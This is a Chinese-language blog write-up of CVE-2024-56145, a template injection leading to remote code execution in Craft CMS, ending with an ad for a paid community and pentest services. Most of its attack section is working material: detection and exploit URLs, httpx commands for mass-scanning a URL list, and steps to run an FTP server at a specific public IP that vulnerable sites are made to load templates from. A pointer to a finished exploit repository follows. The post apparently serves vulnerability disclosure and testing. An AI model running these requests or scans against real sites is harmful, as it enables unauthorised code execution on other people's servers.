【新day】CVE-2024-56145(Craft CMS 模板注入导致 RCE)

【新day】CVE-2024-56145(Craft CMS 模板注入导致 RCE)

原创 fkalis fkalis 2024-12-21 10:50

绪论

如果各位师傅觉得有用的话,可以给我点个关注~~ 如果师傅们有什么好的建议也欢迎联系我~~ 感谢各位师傅的支持~~

正文部分

漏洞详情

Craft 是一种灵活、用户友好的 CMS,用于在 Web 及其他方面创建自定义数字体验。如果受影响版本的用户php.ini配置启用了“register_argc_argv”,则其用户会受到此漏洞的影响。对于这些用户,存在未指定的远程代码执行向量。建议用户更新到版本 3.9.14、4.13.2 或 5.5.2。无法升级的用户应禁用“register_argc_argv”以缓解此问题。

漏洞原理

原作者的分析详情:

https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms

本质上是一个模板注入,通过请求ftp服务器中的模板,并且进行解析,最终实现RCE

漏洞条件

  1. 需要服务器出网,能够正常请求ftp服务
  2. php.ini配置启用了“register_argc_argv”

POC汇总

请求1:/?--configPath=/aaa开启ftp服务后,进行请求2请求2:/?--templatesPath=ftp://ftp地址:ftp端口

漏洞探测POC

数据包

https://xxx.xxx.xxx/?--configPath=/aaa

使用httpx进行快速验证

httpx.exe -path "/?--configPath=/aaa" -sc -cl -mc 200  -l url.txt -ms "mkdir()"

漏洞EXP

启动ftp服务(使用py快速启动)

1. 安装pyftpdlib

pip install pyftpdlib

运行可能会报错 module ‘OpenSSL.SSL’ has no attribute ‘TLS_SERVER_METHOD’


安装两个库即可

pip install cryptography==36.0.2pip install pyOpenSSL==22.0.0

2. 使用pyftpdlib

python -m pyftpdlib -h

快速启动

注意:
-p 表示ftp的启动的端口
-w 表示提供修改权限,默认只读
-d 设置目录,默认就是当前目录
-n 设置外网ip,没有只能127.0.0.1访问!!
-u 可以设置用户名
-P 可以设置密码
不设置账户密码,就可以直接匿名访问

python -m pyftpdlib -p 6666 -w -n 189.204.186.73 -u admin -P admin

测试FTP连接

ftp访问地址

ftp://username:password@hostname:port

有账户密码:ftp://admin:[email protected]:6666无账户密码:ftp://189.204.186.73:6666

新版的edge无法直接访问ftp的连接,要用老版的IE,只需要在浏览器中进行设置即可

使用文件夹访问也可以

创建EXP

在ftp开启目录创建一个default文件夹

再再default文件中创建一个index.html


index.html

<html><body>hello world {{ 7*7 }}</body></html>

访问EXP

/?--templatesPath=ftp://ftp地址:ftp端口

{{ 7*7}} 被正常解析


ftp收到数据

httpx快速验证

注意:在开启ftp服务的情况下运行

httpx.exe -path "/?--templatesPath=ftp://189.204.186.73:6666/" -sc -cl -mc 200  -l url.txt -ms "hello world 49"

复现的问题

如果发现页面报错server Error,并且FTP没有响应,可能是网站不出网,无法请求到FTP服务器

成熟的EXP项目

https://github.com/Chocapikk/CVE-2024-56145/tree/main

知识星球

具体的星球介绍可以看一下这里~~

WingBy小密圈,他来了!

注意:帮会和星球是为了考虑大家的方便习惯,福利和内容是一致的,后续更新也是一致的~~~只需要进行一次付费就可以啦~~(建议还是使用帮会)

项目合作

有甲方大大,或者厂商师傅,或者其他的项目,欢迎咨询,我以及团队始终将客户的需求放在首位,确保客户满意度~~


目前主要的服务范围:


1. 渗透测试、漏洞扫描

2. 代码审计

3. 红蓝攻防

4. 重保以及其他攻防类项目

5. 红队武器化开发以及蓝队工具开发

6. CTF相关赛事的培训等

7. cnvd,cnnvd,edu,cve等证书

8. nisp,cisp等证书